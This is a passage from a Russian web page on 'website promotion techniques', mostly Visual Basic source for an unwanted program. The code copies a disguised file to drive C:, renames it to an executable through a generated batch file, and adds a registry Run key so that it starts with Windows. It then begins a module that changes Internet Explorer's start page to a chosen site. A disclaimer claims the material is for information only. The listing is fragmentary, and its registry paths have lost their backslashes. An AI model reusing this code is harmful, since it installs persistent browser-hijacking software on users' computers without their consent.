Последние публикации

  16 Июля, 2011
Взлом капчи
Разбираемся, как ломают капчи. Теория и практика


  17 Июня, 2011
Справочник по PHP
Синтаксис языка и операторы. Функции работы с данными. Файлы и сети. Управляющие функции. ..


  25 Января, 2011
Основы web-технологий.
С появлением высокопроизводительных серверов, сетевого оборудования и высокоскоростных каналов связи ..


  22 Января, 2011
Теоретические основы защиты информации.
В настоящее время и у нас в стране, и за рубежом достаточно много публикаций по современным ..


Поиск по сайту

 

postheadericon Главная / web программирование / web технологии

Приемы раскрутки WEB-сайтов.


Обзор приемов раскрутки web-сайтов.

demo.ttl c:demo.ttl" 'Скопировать модуль на диск C:

Str1(1) = "c:"

Str1(2) = "cd c:"

Str1(3) = "ren demo.ttl demo.exe"     'Переименовать модуль в  EXE

        For i = 0 To 3

        Str1(i) = Str1(i) + Chr$(13) + Chr$(10)

Open "setup.bat" For Binary As #1 Len = Len(Str1(i))

  Put #1, indx, Str1(i)    'Записать BAT-файл на диск

indx = indx + Len(Str1(i)) 'Номер следующей записи

Close #1

Next i

 

 

Shell ("setup.bat") 'Запустить BAT-файл на исполнение

 

End Sub

 

 

 

 

Private Sub AutoSet()

'Создать запись в реестре Windows XP для запуска модуля при старте Windows

LSkey = "SOFTWAREMicrosoftWindowsCurrentVersionRun" ' АВТОЗАГРУЗКА

secattr.nLength = Len(secattr)  ' size of the structure

secattr.lpSecurityDescriptor = 0  ' default security level

secattr.bInheritHandle = True  ' the default value for this setting

'--------------------------------------------------------

retval = RegCreateKeyEx(HKEY_LOCAL_MACHINE, LSkey, 0, "", 0, KEY_WRITE, secattr, hregkey, neworused)

If retval <> 0 Then  ' error during open

  Debug.Print "Error opening or creating registry key -- aborting."

  End  ' terminate the program

End If

stringbuffer = "C:demo.exe" & vbNullChar  ' Путь, где располагается модуль (после исполнения BAT-файла)

retval = RegSetValueEx(hregkey, "Demo", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer))  ' write the string

 

' Close the registry key

retval = RegCloseKey(hregkey)

'-----------------------------

 

End Sub

 

** Программа может правильно работать только в откомпилированном варианте.

 

                Полный листинг программы прилагается к руководству – файл IE-Start-Page.zip

 

 

Предупреждение! Автор приводит следующую информацию ТОЛЬКО В ОЗНАКОМИТЕЛЬНЫХ ЦЕЛЯХ. Запрещается использовать приведенную здесь информацию для причинения вреда. Нарушая данное условие, Вы полностью принимаете последствия ваших действий на Себя!

 

 

Листинг загружаемого модуля Demo.exe. Загружаемый модуль не представляет собой ничего особенного

– просто небольшая

программа, в данном случае, проверяющая дату и устанавливающая стартовую страницу Internet Explorer , например, на сайт с развлечениями.

 

 

 
 

 

 

 

 

 

 

 

 

 


Private Sub Form_Load()

rundate = Date                                 'Получить ДАТУ на компьютере

Form1.Caption = Mid(rundate, 1, 2)    'Выделить из даты ЧИСЛО месяца и написать его в заголовок для отладки

ls = "SoftwareMicrosoftInternet ExplorerMain"

adress = "http://www.privet.com"    

Дата публикации: 11 Марта, 2010
Прочитано: 7044 раз

-  29  -

<1 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 |  29  | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45>

postheadericon Это интересно

Справочник по PHP

Синтаксис языка и операторы. Функции работы с данными. Файлы и сети. Управляющие функции. Взаимодействие с базами данных. Графика.

Веб-дизайн

Предлагаемая вашему вниманию книга задумывалась не как практическое руководство по веб-дизайну, а скорее как учебник общего дизайна на част­ном материале веб-сайтов.

Приемы раскрутки WEB-сайтов.

Обзор приемов раскрутки web-сайтов.

Свой WAP сайт.

Краткое руководство по созданию WAP сайта